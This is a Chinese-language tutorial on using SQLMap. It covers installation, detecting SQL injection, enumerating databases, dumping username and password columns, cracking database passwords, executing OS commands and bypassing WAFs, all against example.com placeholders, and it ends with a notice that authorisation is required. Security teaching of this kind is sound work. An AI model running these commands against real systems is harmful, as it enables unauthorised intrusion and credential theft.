安裝
1. 安裝 Python
SQLMap 是基于 Python 開發的,所以要先安裝 Python 環境。建議安裝 Python 3.9 或更高版本,可從 Python 官方網站 下載對應操作系統的安裝包,然后按照安裝向導完成安裝。
2. 獲取 SQLMap
可以從 SQLMap 的官方 GitHub 倉庫克隆代碼:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
也可以直接從 GitHub 下載壓縮包,解壓到指定目錄。
基本使用
1. 檢測單一 URL 的注入漏洞
使用 -u
參數指定目標 URL 進行注入檢測:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1"
SQLMap 會自動檢測該 URL 是否存在 SQL 注入漏洞,并嘗試確定注入類型(如布爾型、時間型、聯合查詢型等)。
2. 處理帶有 Cookie 的請求
如果目標網站需要登錄狀態才能訪問,可以使用 --cookie
參數傳遞 Cookie 信息:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --cookie="session_id=abcdef123456; user=testuser"
3. 處理 POST 請求
對于使用 POST 方法提交數據的表單,可以使用 -d
參數指定 POST 數據:
python sqlmap.py -u "http://example.com/login.php" -d "username=test&password=test"
數據庫信息獲取
1. 列出所有數據庫
若檢測到注入漏洞,可使用 --dbs
參數列出目標數據庫服務器上的所有數據庫:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs
2. 列出指定數據庫中的表
使用 -D
參數指定數據庫名,--tables
參數列出該數據庫中的所有表:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables
3. 列出指定表中的列
使用 -T
參數指定表名,--columns
參數列出該表中的所有列:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns
4. 提取數據
使用 -C
參數指定要提取的列名,--dump
參數提取數據:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users -C username,password --dump
高級功能
1. 暴力破解數據庫密碼
使用 --passwords
參數可以嘗試暴力破解數據庫用戶的密碼:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --passwords
2. 執行系統命令(僅適用于支持的數據庫)
對于某些數據庫(如 MySQL),可以使用 --os-cmd
參數執行系統命令:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --os-cmd="ls -l"
3. 繞過 WAF(Web 應用防火墻)
使用 --tamper
參數可以指定一些繞過 WAF 的腳本,例如使用 apostrophemask
腳本來繞過對單引號的過濾:
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --tamper=apostrophemask
注意事項
- 合法性:必須在獲得目標系統所有者明確授權的情況下使用 SQLMap 進行測試,未經授權的滲透測試屬于違法行為。
- 數據安全:在測試過程中,要注意避免對目標系統造成數據損壞、服務中斷等不良影響。
- 性能影響:SQLMap 的某些操作可能會對目標系統造成較大的性能壓力,建議在非生產環境或低峰期進行測試。
- 防護機制:對于一些使用了高級防護機制的網站,SQLMap 可能無法直接檢測到注入漏洞,需要結合其他技術和工具進行分析。